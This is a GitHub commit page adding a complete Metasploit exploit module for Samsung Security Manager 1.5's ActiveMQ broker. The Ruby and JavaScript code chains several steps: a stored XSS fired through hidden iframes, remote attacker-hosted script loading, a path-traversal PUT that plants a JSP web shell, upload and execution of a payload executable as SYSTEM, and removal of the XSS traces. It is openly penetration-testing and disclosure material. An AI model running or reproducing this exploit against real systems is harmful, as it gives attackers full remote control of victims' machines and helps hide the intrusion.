Skip to content

Commit 2309035

Browse files
stevenseeleywchen-r7
authored andcommitted
Add Samsung Security Manager 1.5 ActiveMQ Broker exploit
1 parent e7aa658 commit 2309035

File tree

1 file changed

+230
-0
lines changed

1 file changed

+230
-0
lines changed
Lines changed: 230 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,230 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::EXE
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
18+
'Description' => %q{
19+
This is an exploit against Samsung Security Manager that bypasses the patch in
20+
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
21+
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
22+
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
23+
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'mr_me <mr_me[at]offensive-security.com>', # vuln + module
29+
],
30+
'References' =>
31+
[
32+
[ 'URL', 'http://metasploit.com' ]
33+
],
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
# tested on 1.32, 1.4 & 1.5
38+
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
39+
],
40+
'DisclosureDate' => "Aug 05 2016",
41+
'DefaultTarget' => 0))
42+
register_options(
43+
[
44+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
45+
], self.class)
46+
end
47+
48+
# this is because String.fromCharCode has a max of 65535 func args
49+
# thanks to sinn3r for his help with the Array->String conversion
50+
def encode_js(string)
51+
i = 0
52+
encoded_0 = []
53+
encoded_1 = []
54+
string.each_byte do |c|
55+
if i > 65534
56+
encoded_1 << c
57+
else
58+
encoded_0 << c
59+
end
60+
i += 1
61+
end
62+
if i > 65534
63+
return encoded_0 * ",", encoded_1 * ","
64+
else
65+
return encoded_0 * ","
66+
end
67+
end
68+
69+
# tested on Firefox v46.0.1 (latest)
70+
# tested on Chrome v50.0.2661.102 (latest release)
71+
# tested on IE v11.0.9600.18314 (latest)
72+
def on_request_uri(cli, request)
73+
74+
js_name = rand_text_alpha(rand(10)+5) + '.js'
75+
76+
payload_url = "http://"
77+
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
78+
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
79+
80+
# we deliver the JavaScript code that does the work for us
81+
if (request.uri.match(/.js/))
82+
return if ((p = regenerate_payload(cli)) == nil)
83+
84+
# dont exploit again otherwise we get a zillion shells
85+
return if session_created? or @exploited
86+
87+
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
88+
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
89+
90+
# clean just the jsp, because the exe dropper will be in use
91+
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
92+
93+
# our jsp upload, ensuring native code execution
94+
jsp = %Q|<%@ page import="java.io.*" %>
95+
<%
96+
ByteArrayOutputStream buf = new ByteArrayOutputStream();
97+
BufferedReader reader = request.getReader();
98+
int tmp;
99+
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
100+
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
101+
buf.writeTo(fostream);
102+
fostream.close();
103+
Runtime.getRuntime().exec("#{exe_name}");
104+
%>|
105+
106+
# encode the payloads
107+
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
108+
encoded_jsp = encode_js(jsp)
109+
110+
# targets
111+
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
112+
upload_uri = "http://localhost:8161/admin/#{jsp_name}"
113+
114+
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
115+
js_content = %Q|
116+
117+
function do_put(uri, file_data) {
118+
var file_size = file_data.length;
119+
var xhr = new XMLHttpRequest();
120+
xhr.open("PUT", uri, true);
121+
var body = file_data;
122+
xhr.send(body);
123+
return true;
124+
}
125+
126+
function do_upload(uri, file_data) {
127+
var file_size = file_data.length;
128+
var xhr = new XMLHttpRequest();
129+
xhr.open("POST", uri, true);
130+
var body = file_data;
131+
132+
// latest ff doesnt have sendAsBinary(), so we redefine it
133+
if(!xhr.sendAsBinary){
134+
xhr.sendAsBinary = function(datastr) {
135+
function byteValue(x) {
136+
return x.charCodeAt(0) & 0xff;
137+
}
138+
var ords = Array.prototype.map.call(datastr, byteValue);
139+
var ui8a = new Uint8Array(ords);
140+
this.send(ui8a.buffer);
141+
}
142+
}
143+
xhr.sendAsBinary(body);
144+
return true;
145+
}
146+
147+
function bye_bye_xss(uri){
148+
var xhr = new XMLHttpRequest();
149+
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
150+
xhr.send();
151+
}
152+
153+
function clean_up(){
154+
var xhr = new XMLHttpRequest();
155+
xhr.onreadystatechange = function() {
156+
if (xhr.readyState == XMLHttpRequest.DONE) {
157+
var els = xhr.responseXML.getElementsByTagName("a");
158+
for (var i = 0, l = els.length; i < l; i++) {
159+
var el = els[i];
160+
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
161+
bye_bye_xss(el.href);
162+
}
163+
}
164+
}
165+
}
166+
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
167+
xhr.responseType = "document"; // so that we can parse the reponse as a document
168+
xhr.send(null);
169+
}
170+
171+
function exploit(){
172+
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
173+
clean_up();
174+
}
175+
176+
function start() {
177+
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
178+
setTimeout(exploit(), 2000); // timing is important
179+
}
180+
start();
181+
|
182+
183+
if datastore['OBFUSCATE']
184+
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
185+
js_content.obfuscate
186+
end
187+
188+
print_status("Sending javascript...")
189+
@exploited = true
190+
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
191+
return
192+
end
193+
194+
if datastore['OBFUSCATE']
195+
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
196+
js_content.obfuscate
197+
onlick = ::Rex::Exploitation::JSObfu.new(onlick)
198+
onlick.obfuscate
199+
end
200+
201+
iframe_injection = ""
202+
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
203+
(1..20).step(1) do |n|
204+
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
205+
end
206+
207+
# the stored XSS endpoint
208+
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="
209+
210+
# we use XSS to execute JavaScript code in local context to avoid CORS
211+
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
212+
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
213+
target << Rex::Text.uri_encode(xss_injection)
214+
215+
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
216+
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
217+
html_content = %Q|
218+
<html>
219+
<body>
220+
<iframe src="#{target}" width="0" height="0"></iframe>
221+
#{iframe_injection}
222+
</body>
223+
</html>
224+
|
225+
print_status("Sending exploit...")
226+
send_response_html(cli, html_content)
227+
handler(cli)
228+
end
229+
end
230+

0 commit comments

Comments
 (0)